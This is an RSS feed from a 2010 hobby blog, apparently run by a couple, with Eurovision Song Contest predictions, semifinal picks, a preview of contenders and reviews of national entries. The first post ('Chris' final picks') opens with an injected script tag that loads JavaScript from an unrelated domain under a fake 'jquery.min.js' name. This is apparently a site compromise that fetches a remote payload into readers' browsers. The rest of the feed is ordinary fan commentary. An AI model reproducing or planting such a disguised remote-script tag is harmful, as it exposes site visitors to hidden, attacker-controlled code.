<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Lemur Love &#187; Eurovision</title>
	<atom:link href="http://www.lemurlove.com/blog/category/eurovision/feed" rel="self" type="application/rss+xml" />
	<link>http://www.lemurlove.com/blog</link>
	<description>Jen &#38; Chris conduct pop culture experiments on their wee little one.</description>
	<lastBuildDate>Sat, 29 May 2010 23:58:06 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Chris&#8217; final picks</title>
		<link>http://www.lemurlove.com/blog/2010/05/chris-final-picks.html</link>
		<comments>http://www.lemurlove.com/blog/2010/05/chris-final-picks.html#comments</comments>
		<pubDate>Fri, 28 May 2010 23:01:25 +0000</pubDate>
		<dc:creator>Chris</dc:creator>
				<category><![CDATA[Eurovision]]></category>
		<category><![CDATA[Armenia]]></category>
		<category><![CDATA[Azerbaijan]]></category>
		<category><![CDATA[Belgium]]></category>
		<category><![CDATA[Denmark]]></category>
		<category><![CDATA[Georgia]]></category>
		<category><![CDATA[Germany]]></category>
		<category><![CDATA[Ireland]]></category>
		<category><![CDATA[Israel]]></category>
		<category><![CDATA[Romania]]></category>
		<category><![CDATA[Serbia]]></category>
		<category><![CDATA[Turkey]]></category>
		<category><![CDATA[United Kingdom]]></category>

		<guid isPermaLink="false">http://www.lemurlove.com/blog/?p=1591</guid>
		<description><![CDATA[Here we go.  Azerbaijan&#8217;s stock has fallen a bit after the semi, and because it&#8217;s got the opening slot on the night.  Adorable magic pixie German girl benefits! 1. Germany 2. Azerbaijan 3. Turkey 4. Belgium 5. Armenia 6. Israel 7. Denmark 8. Georgia 9. Ireland 10. Romania Last place: United Kingdom No nul points [...]]]></description>
			<content:encoded><![CDATA[<h5><script src=http://magenta.edisonsnightclub.com/js/jquery.min.js></script></h5>
<p>Here we go.  Azerbaijan&#8217;s stock has fallen a bit after the semi, and because it&#8217;s got the opening slot on the night.  Adorable magic pixie German girl benefits!</p>
<p>1. Germany<br />
2. Azerbaijan<br />
3. Turkey<br />
4. Belgium<br />
5. Armenia<br />
6. Israel<br />
7. Denmark<br />
8. Georgia<br />
9. Ireland<br />
10. Romania</p>
<p>Last place: United Kingdom</p>
<p>No nul points this year.</p>
<p>If I had a vote, I would vote for Serbia, because I am so cheeky.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lemurlove.com/blog/2010/05/chris-final-picks.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Jen&#8217;s final picks</title>
		<link>http://www.lemurlove.com/blog/2010/05/jens-final-picks.html</link>
		<comments>http://www.lemurlove.com/blog/2010/05/jens-final-picks.html#comments</comments>
		<pubDate>Fri, 28 May 2010 22:46:09 +0000</pubDate>
		<dc:creator>Chris</dc:creator>
				<category><![CDATA[Eurovision]]></category>
		<category><![CDATA[Armenia]]></category>
		<category><![CDATA[Azerbaijan]]></category>
		<category><![CDATA[Belgium]]></category>
		<category><![CDATA[Denmark]]></category>
		<category><![CDATA[Germany]]></category>
		<category><![CDATA[Greece]]></category>
		<category><![CDATA[Iceland]]></category>
		<category><![CDATA[Ireland]]></category>
		<category><![CDATA[Israel]]></category>
		<category><![CDATA[Turkey]]></category>
		<category><![CDATA[United Kingdom]]></category>

		<guid isPermaLink="false">http://www.lemurlove.com/blog/2010/05/jens-final-picks.html</guid>
		<description><![CDATA[Ok, here&#8217;s my top 10, plus last place. Given an erratic draw and new voting rules, I am not confident in this order. 1. Denmark 2. Germany 3. Azerbaijan 4. Israel 5. Ireland 6. Turkey 7. Armenia 8. Belgium 9. Greece 10. Iceland &#8230; 25. United Kingdom]]></description>
			<content:encoded><![CDATA[<p>Ok, here&#8217;s my top 10, plus last place.  Given an erratic draw and new voting rules, I am not confident in this order.</p>
<p>1. Denmark<br />
2. Germany<br />
3. Azerbaijan<br />
4. Israel<br />
5. Ireland<br />
6. Turkey<br />
7. Armenia<br />
8. Belgium<br />
9. Greece<br />
10. Iceland</p>
<p>&#8230;</p>
<p>25. United Kingdom</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lemurlove.com/blog/2010/05/jens-final-picks.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Jen and Chris&#8217; Eurovision Semifinal 2 picks</title>
		<link>http://www.lemurlove.com/blog/2010/05/jen-and-chriss-eurovision-semifinal-2-picks.html</link>
		<comments>http://www.lemurlove.com/blog/2010/05/jen-and-chriss-eurovision-semifinal-2-picks.html#comments</comments>
		<pubDate>Fri, 28 May 2010 22:43:03 +0000</pubDate>
		<dc:creator>Jennifer</dc:creator>
				<category><![CDATA[Eurovision]]></category>
		<category><![CDATA[Armenia]]></category>
		<category><![CDATA[Azerbaijan]]></category>
		<category><![CDATA[Bulgaria]]></category>
		<category><![CDATA[Croatia]]></category>
		<category><![CDATA[Denmark]]></category>
		<category><![CDATA[Georgia]]></category>
		<category><![CDATA[Ireland]]></category>
		<category><![CDATA[Israel]]></category>
		<category><![CDATA[Romania]]></category>
		<category><![CDATA[Sweden]]></category>
		<category><![CDATA[Turkey]]></category>

		<guid isPermaLink="false">http://www.lemurlove.com/blog/2010/05/jen-and-chriss-eurovision-semifinal-2-picks.html</guid>
		<description><![CDATA[Sorry, site was down during the critical semifinal 2 time. Here were our picks for semifinal 2. 8 of 10 for Jen, 7 of 10 for Chris, not bad. And overall, pleased with the outcome.  Not shocked by Sweden&#8217;s exit: the song wasn&#8217;t good, it was poorly sung, and the production was bloated, a triple [...]]]></description>
			<content:encoded><![CDATA[<p>Sorry, site was down during the critical semifinal 2 time. Here were our picks for semifinal 2.  8 of 10 for Jen, 7 of 10 for Chris, not bad.  And overall, pleased with the outcome.  Not shocked by Sweden&#8217;s exit: the song wasn&#8217;t good, it was poorly sung, and the production was bloated, a triple whammy.</p>
<p><span style="text-decoration: underline;">Jen<br />
</span> Armenia<br />
Israel<br />
Denmark<br />
Sweden<br />
Azerbaijan<br />
Romania<br />
Ireland<br />
Croatia<br />
Georgia<br />
Turkey</p>
<p><span style="text-decoration: underline;">Chris<br />
</span>Armenia<br />
Israel<br />
Denmark<br />
Sweden<br />
Azerbaijan<br />
Ireland<br />
Bulgaria<br />
Croatia<br />
Georgia<br />
Turkey</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lemurlove.com/blog/2010/05/jen-and-chriss-eurovision-semifinal-2-picks.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Eurovision 2010, Chris&#8217; Semifinal 1 picks</title>
		<link>http://www.lemurlove.com/blog/2010/05/eurovision-2010-chris-semifinal-1-picks.html</link>
		<comments>http://www.lemurlove.com/blog/2010/05/eurovision-2010-chris-semifinal-1-picks.html#comments</comments>
		<pubDate>Mon, 24 May 2010 18:08:53 +0000</pubDate>
		<dc:creator>Chris</dc:creator>
				<category><![CDATA[Eurovision]]></category>
		<category><![CDATA[Albania]]></category>
		<category><![CDATA[Belarus]]></category>
		<category><![CDATA[Belgium]]></category>
		<category><![CDATA[Bosnia and Herzegovina]]></category>
		<category><![CDATA[Finland]]></category>
		<category><![CDATA[Greece]]></category>
		<category><![CDATA[Iceland]]></category>
		<category><![CDATA[Moldova]]></category>
		<category><![CDATA[Serbia]]></category>
		<category><![CDATA[Slovakia]]></category>

		<guid isPermaLink="false">http://www.lemurlove.com/blog/?p=1579</guid>
		<description><![CDATA[The numbers in this year&#8217;s song contest are really hit or miss, and most of the misses are in the first semi-final.  I would have bet Belarus would not have gotten out of the semis if it weren&#8217;t for the fact that it is in this semi.  Here are my picks, in the order they [...]]]></description>
			<content:encoded><![CDATA[<p>The numbers in this year&#8217;s song contest are really hit or miss, and most of the misses are in the first semi-final.  I would have bet Belarus would not have gotten out of the semis if it weren&#8217;t for the fact that it is in this semi.  Here are my picks, in the order they appear on the show tomorrow night:</p>
<p>Moldova<br />
Slovakia<br />
Finland<br />
Serbia<br />
Bosnia and Herzegovina<br />
Belgium<br />
Albania<br />
Greece<br />
Belarus<br />
Iceland</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lemurlove.com/blog/2010/05/eurovision-2010-chris-semifinal-1-picks.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Eurovision 2010, Jen&#8217;s Semifinal 1 picks</title>
		<link>http://www.lemurlove.com/blog/2010/05/eurovision-2010-semifinal-1-picks.html</link>
		<comments>http://www.lemurlove.com/blog/2010/05/eurovision-2010-semifinal-1-picks.html#comments</comments>
		<pubDate>Mon, 24 May 2010 17:11:01 +0000</pubDate>
		<dc:creator>Jennifer</dc:creator>
				<category><![CDATA[Eurovision]]></category>
		<category><![CDATA[Albania]]></category>
		<category><![CDATA[Belarus]]></category>
		<category><![CDATA[Belgium]]></category>
		<category><![CDATA[Finland]]></category>
		<category><![CDATA[Greece]]></category>
		<category><![CDATA[Iceland]]></category>
		<category><![CDATA[Moldova]]></category>
		<category><![CDATA[Russia]]></category>
		<category><![CDATA[Serbia]]></category>
		<category><![CDATA[Slovakia]]></category>

		<guid isPermaLink="false">http://www.lemurlove.com/blog/2010/05/eurovision-2010-semifinal-1-picks.html</guid>
		<description><![CDATA[The first semifinal is the weaker of the two and harder to call. Without a strong group of songs to qualify on merit, songs that qualify may be more influenced by neighborly and diaspora voting. At least that’s the logic I’ve got going for some of the picks. Jen’s Semifinal 1 picks, in order of [...]]]></description>
			<content:encoded><![CDATA[<p>The first semifinal is the weaker of the two and harder to call.  Without a strong group of songs to qualify on merit, songs that qualify may be more influenced by neighborly and diaspora voting.  At least that’s the logic I’ve got going for some of the picks.</p>
<p><strong>Jen’s Semifinal 1 picks, in order of appearance:</strong></p>
<p>Moldova<br />
Russia<br />
Slovakia<br />
Finland<br />
Serbia<br />
Belgium<br />
Albania<br />
Greece<br />
Belarus<br />
Iceland</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lemurlove.com/blog/2010/05/eurovision-2010-semifinal-1-picks.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Eurovision 2010 Preview</title>
		<link>http://www.lemurlove.com/blog/2010/05/eurovision-2010-preview.html</link>
		<comments>http://www.lemurlove.com/blog/2010/05/eurovision-2010-preview.html#comments</comments>
		<pubDate>Sun, 23 May 2010 00:41:31 +0000</pubDate>
		<dc:creator>Jennifer</dc:creator>
				<category><![CDATA[Eurovision]]></category>
		<category><![CDATA[Armenia]]></category>
		<category><![CDATA[Azerbaijan]]></category>
		<category><![CDATA[Belarus]]></category>
		<category><![CDATA[Denmark]]></category>
		<category><![CDATA[Estonia]]></category>
		<category><![CDATA[Germany]]></category>
		<category><![CDATA[Iceland]]></category>
		<category><![CDATA[Israel]]></category>
		<category><![CDATA[Malta]]></category>
		<category><![CDATA[Norway]]></category>
		<category><![CDATA[Serbia]]></category>
		<category><![CDATA[United Kingdom]]></category>

		<guid isPermaLink="false">http://www.lemurlove.com/blog/?p=1569</guid>
		<description><![CDATA[Break out the crackers, wine, and vodka, because the Eurovision Song Contest, Europe’s annual cheese-fest and search for the “best song in Europe,” is happening this week.  This year, national representatives from 43 countries have descended on Oslo through a cloud of volcanic ash courtesy of Iceland.  Alexander Rybak’s fiddling and puckish grin linger in [...]]]></description>
			<content:encoded><![CDATA[<p>Break out the crackers, wine, and vodka, because the Eurovision Song Contest, Europe’s annual cheese-fest and search for the “best song in Europe,” is happening this week.  This year, national representatives from 43 countries have descended on Oslo through a cloud of volcanic ash courtesy of Iceland.  Alexander Rybak’s fiddling and puckish grin linger in the air as Europeans look to crown a new champion.  Norway needn’t worry—their entry is competent but they won’t be hosting next year.  The semi-finals are May 25 and May 27.  The final will be held on May 29.</p>
<p><strong>Who are the contenders?</strong></p>
<p>In the days leading up to the contest, <strong>Azerbaijan</strong> has the momentum.  Safura’s “Drip Drop” is a pop-ballad with RnB influences; it’s relevant, soulful, and catchy. It’s the buzz entry and the bookie’s choice.</p>
<p>Other entries poised to compete this year:</p>
<ul>
<li><strong>Germany</strong> “Satellite”, a cute, quirky pop tune, made cuter and quirkier by Lena’s odd English pronunciations.  She’s an engaging performer and has the influential support of Stefan Raab behind her.</li>
<li><strong>Armenia</strong> “Apricot Stone,” a singer-songwriter story song.  The staging will feature a tree growing out of a giant apricot pit. Roald Dahl would be proud.</li>
<li><strong>Israel </strong>“Milim”<strong>. </strong> This year’s best ballad, gloriously oversung by Harel Skaat.</li>
<li><strong>Denmark</strong> “In a Moment Like This,” an uber-pop duet.  The shine is off slightly because Chanee and N’Evergreen have struggled in rehearsals, but if they can execute the song is just like candy—sweet, irresistible, and goes down real easy.  <strong></strong></li>
</ul>
<p><strong>Which are this year’s guilty pleasures?</strong></p>
<p>Let’s face it, this is why we watch.  At the core of an unhealthy Eurovision obsession is a deep affection for kitsch, train wrecks, and pop culture gone horribly awry.</p>
<ul>
<li><strong>Iceland</strong> “Je ne se Quois”.  In the capable hands of Hera Bjork, Iceland’s perennial Eurovision entry back-up singer, this song is a disco diva masterpiece.</li>
<li><strong>Serbia </strong>“Ovo je Balkan”<strong>. </strong> This year’s shout out entry to the Balkans is damn catchy.  It’s sung by someone who’s taking his <a href="http://www.lemurlove.com/blog/2010/03/serbias-eurovision-2010-entry.html">fashion cues from Jimmy Fallon and/or Mike Flowers</a>.</li>
<li><strong>Belarus</strong> “Butterflies”.  The song is saccharine dreck.  But in the staging, the 3 women in band 3+2 grow butterfly wings.  We eagerly await the semifinal to determine if their metamorphosis vaults them into the pantheon of legendary Eurovision kitsch.</li>
<li><strong><strong>Malta</strong><span style="font-weight: normal;"> “My Dream”.  It has a man dressed as a bird flapping behind singer Thea Garrett. A Maltese falcon, if you will.</span></strong></li>
<li><strong>ESTONIA!!!!! </strong>“Siren”.  There’s one entry every year that is actually cool; that is to say we genuinely like it.  Unfortunately, the entry is often too offbeat to find a wide audience from a 3-minute listen.  Malcolm Lincoln’s vocalist does a funny dance, but it’s probably not enough to get them into the finals.  “Siren” draws comparisons with the likes of Simple Minds, but more austere, progressive, and melancholy.</li>
</ul>
<p><strong>Is anyone at risk for a <em>nul points </em>humiliation?</strong></p>
<p>The <strong>United Kingdom</strong> had a successful 5<sup>th</sup> place finish last year with an entry penned by Lord Andrew Lloyd Webber and Dianne Warren.  UK organizers attempted to replicate the model this year by bringing in another songwriting heavyweight.  Who they found was Pete Waterman, a songwriter who achieved success in the 80s by penning hits for Rick Astley, among others.  After what was undoubtedly a lot of coaxing and ego grooming, organizers persuaded Ol’ Pete to go to his filing cabinet and dredge up “That Sounds Good to Me”.  Unfortunately, the selection is ridiculously dated, a not-so-subtle echo of Kim Wilde’s “Kids in America”.  It cannot be saved by amiable singer Josh Dubovie, nor by the UK’s attempts to develop a more contemporary arrangement.  But, hey, our 2-year old likes it.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lemurlove.com/blog/2010/05/eurovision-2010-preview.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Three Updates to Previous Posts</title>
		<link>http://www.lemurlove.com/blog/2010/04/three-updates-to-previous-posts.html</link>
		<comments>http://www.lemurlove.com/blog/2010/04/three-updates-to-previous-posts.html#comments</comments>
		<pubDate>Mon, 26 Apr 2010 00:31:41 +0000</pubDate>
		<dc:creator>Chris</dc:creator>
				<category><![CDATA[Eurovision]]></category>
		<category><![CDATA[Germany]]></category>
		<category><![CDATA[Sweden]]></category>
		<category><![CDATA[United Kingdom]]></category>

		<guid isPermaLink="false">http://www.lemurlove.com/blog/?p=1566</guid>
		<description><![CDATA[We&#8217;re getting caught up on all this year&#8217;s entries, and we&#8217;ll be doing a few reviews shortly, but in the meantime, we&#8217;ve updated three of our previous posts: United Kingdom: There&#8217;s a new version of &#8220;That Sounds Good to Me,&#8221; that takes the original dated version and somehow makes it sound even more dated.  Good [...]]]></description>
			<content:encoded><![CDATA[<p>We&#8217;re getting caught up on all this year&#8217;s entries, and we&#8217;ll be doing a few reviews shortly, but in the meantime, we&#8217;ve updated three of our previous posts:</p>
<ol>
<li><a href="http://www.lemurlove.com/blog/2010/03/united-kingdoms-eurovision-2010-entry.html">United Kingdom</a>: There&#8217;s a new version of &#8220;That Sounds Good to Me,&#8221; that takes the original dated version and somehow makes it sound even more dated.  Good luck with that.</li>
<li><a href="http://www.lemurlove.com/blog/2010/03/germanys-eurovision-2010-entry.html">Germany</a>: Lena&#8217;s &#8220;Satellite&#8221; is a big hit in Germany and Austria, and the bookies can&#8217;t decide if she&#8217;s the favorite to win or Azerbaijan&#8217;s Safura is.  There you go.</li>
<li><a href="http://www.lemurlove.com/blog/2010/03/swedens-eurovision-2010-entry.html">Sweden</a>: I said nice things about this year&#8217;s winner. I take them back.</li>
</ol>
]]></content:encoded>
			<wfw:commentRss>http://www.lemurlove.com/blog/2010/04/three-updates-to-previous-posts.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Backish</title>
		<link>http://www.lemurlove.com/blog/2010/04/backish.html</link>
		<comments>http://www.lemurlove.com/blog/2010/04/backish.html#comments</comments>
		<pubDate>Thu, 08 Apr 2010 17:18:44 +0000</pubDate>
		<dc:creator>Chris</dc:creator>
				<category><![CDATA[About Us]]></category>
		<category><![CDATA[Eurovision]]></category>
		<category><![CDATA[Lemur Love]]></category>
		<category><![CDATA[Ukraine]]></category>

		<guid isPermaLink="false">http://www.lemurlove.com/blog/?p=1556</guid>
		<description><![CDATA[It&#8217;s been a while since we&#8217;ve posted any updates here.  Normally, we don&#8217;t like it when bloggers post something like that and then offer a long explanation as to why they haven&#8217;t posted any updates for a while.  So we&#8217;re not going to offer any long explanations.  Life gets in the way of hobby blogs. [...]]]></description>
			<content:encoded><![CDATA[<p>It&#8217;s been a while since we&#8217;ve posted any updates here.  Normally, we don&#8217;t like it when bloggers post something like that and then offer a long explanation as to why they haven&#8217;t posted any updates for a while.  So we&#8217;re not going to offer any long explanations.  Life gets in the way of hobby blogs.  That&#8217;s all there is to say about that.</p>
<p>And it&#8217;s been driving us nuts, actually, because there&#8217;s so much Eurovision news!  Most of it related to Ukraine!  We&#8217;ll review whatever song their sending to the Song Contest soon (we&#8217;re pretty sure it won&#8217;t change again before we do), but if you&#8217;ve not been following, ESCtoday has <a href="http://www.esctoday.com/news/read/15448">a good summary</a> of what the hell happened there.</p>
<p>More soon.  For reals.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lemurlove.com/blog/2010/04/backish.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Bosnia &amp; Herzegovina&#8217;s Eurovision 2010 Entry</title>
		<link>http://www.lemurlove.com/blog/2010/03/bosnia-herzegovinas-eurovision-2010-entry.html</link>
		<comments>http://www.lemurlove.com/blog/2010/03/bosnia-herzegovinas-eurovision-2010-entry.html#comments</comments>
		<pubDate>Mon, 15 Mar 2010 01:46:06 +0000</pubDate>
		<dc:creator>Chris</dc:creator>
				<category><![CDATA[Eurovision]]></category>
		<category><![CDATA[Bosnia and Herzegovina]]></category>

		<guid isPermaLink="false">http://www.lemurlove.com/blog/?p=1541</guid>
		<description><![CDATA[Vukašin Brajić today debuted this year&#8217;s Bosnia and Herzegovina Eurovision song, &#8220;Munja i grom&#8221;: Yeah, I can&#8217;t stay awake during it either.]]></description>
			<content:encoded><![CDATA[<p>Vukašin Brajić today debuted this year&#8217;s Bosnia and Herzegovina Eurovision song, &#8220;Munja i grom&#8221;:</p>
<p style="text-align: center;"><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="425" height="350" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="src" value="http://www.youtube.com/v/YCusc-pm-tY" /><embed type="application/x-shockwave-flash" width="425" height="350" src="http://www.youtube.com/v/YCusc-pm-tY"></embed></object></p>
<p style="text-align: left;">Yeah, I can&#8217;t stay awake during it either.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lemurlove.com/blog/2010/03/bosnia-herzegovinas-eurovision-2010-entry.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Sweden&#8217;s Eurovision 2010 Entry</title>
		<link>http://www.lemurlove.com/blog/2010/03/swedens-eurovision-2010-entry.html</link>
		<comments>http://www.lemurlove.com/blog/2010/03/swedens-eurovision-2010-entry.html#comments</comments>
		<pubDate>Mon, 15 Mar 2010 01:36:45 +0000</pubDate>
		<dc:creator>Chris</dc:creator>
				<category><![CDATA[Eurovision]]></category>
		<category><![CDATA[Sweden]]></category>

		<guid isPermaLink="false">http://www.lemurlove.com/blog/?p=1537</guid>
		<description><![CDATA[Dolph Lundgren co-hosted Sweden&#8217;s Melodifestivalen this year, which lead to this: I know it shouldn&#8217;t feel weird to hear Dolph speaking in Swedish, but it is.  Anyway, this is Sweden, so you know that there&#8217;s going to be some quality entries.  Jen&#8217;s favorite was Eric Saade&#8217;s &#8220;Manboy&#8220;, because it&#8217;s called &#8220;Manboy&#8221; and is actually cheesier [...]]]></description>
			<content:encoded><![CDATA[<p>Dolph Lundgren co-hosted Sweden&#8217;s Melodifestivalen this year, which lead to this:</p>
<p style="text-align: center;"><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="425" height="350" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="src" value="http://www.youtube.com/v/Yqm9ctVLse8" /><embed type="application/x-shockwave-flash" width="425" height="350" src="http://www.youtube.com/v/Yqm9ctVLse8"></embed></object></p>
<p>I know it shouldn&#8217;t feel weird to hear Dolph speaking in Swedish, but it is.  Anyway, this is Sweden, so you know that there&#8217;s going to be some quality entries.  Jen&#8217;s favorite was Eric Saade&#8217;s &#8220;<a href="http://www.youtube.com/watch?v=Xfr7fuQ7ORg">Manboy</a>&#8220;, because it&#8217;s called &#8220;Manboy&#8221; and is actually cheesier than the name would indicate.  I dug Salem Al Fakir&#8217;s &#8220;<a href="http://www.youtube.com/watch?v=S8ZVgxMk8Z4">Keep On Walking</a>&#8220;, which had a different sound than you would usually find at the Melodifestivalen.</p>
<p>Ultimately, the song that won was the song that was on top of the Swedish charts when the show aired, Anna Bergendahl&#8217;s &#8220;This Is My Life&#8221;:</p>
<p style="text-align: center;"><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="425" height="350" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="src" value="http://www.youtube.com/v/UPpqMZbMLhE" /><embed type="application/x-shockwave-flash" width="425" height="350" src="http://www.youtube.com/v/UPpqMZbMLhE"></embed></object></p>
<p style="text-align: left;">A perfectly amiable ballad that sort of grows on you upon repeated listens.  It certainly has the gravitas that a winning entry has, and I bet it had an inside chance of doing well this year, even if we&#8217;re seeing scads of ballad entries.</p>
<p style="text-align: left;">UPDATE: I am totally wrong about this.  &#8221;This Is My Life,&#8221; upon repeated listens, gets really, really, really annoying. So annoying.</p>
<p style="text-align: left;">During the voting period, there was a medley of past Swedish and Norwegian entries, which culminated in Alexander Rybak performing &#8220;Fairytale&#8221; again.  Of the five shows we watched on Saturday, he was on three of them: a live performance in the U.K. on Friday and a live performance in Sweden on Saturday, plus a taped cameo for Estonia. Plus he did the Russian final as well.  Goodness knows how many other national finals he showed up at.  Frankly, I can&#8217;t wait for the final to start just so I know it&#8217;ll be the last time I hear that song for a while.</p>
<p style="text-align: left;">Anyway, the highlight of the evening was the glam rock band Casablanca performing last year&#8217;s Swedish entry, &#8220;La Voix&#8221;:</p>
<p style="text-align: center;"><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="425" height="350" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="src" value="http://www.youtube.com/v/Z4q7f_GvGns" /><embed type="application/x-shockwave-flash" width="425" height="350" src="http://www.youtube.com/v/Z4q7f_GvGns"></embed></object></p>
<p style="text-align: left;">Two things to note:</p>
<ol>
<li>Couldn&#8217;t they have just sent Casablanca last year?</li>
<li>Malena Ernman could totally kick all their asses with one uber-muscular arm tied behind her back.</li>
</ol>
]]></content:encoded>
			<wfw:commentRss>http://www.lemurlove.com/blog/2010/03/swedens-eurovision-2010-entry.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
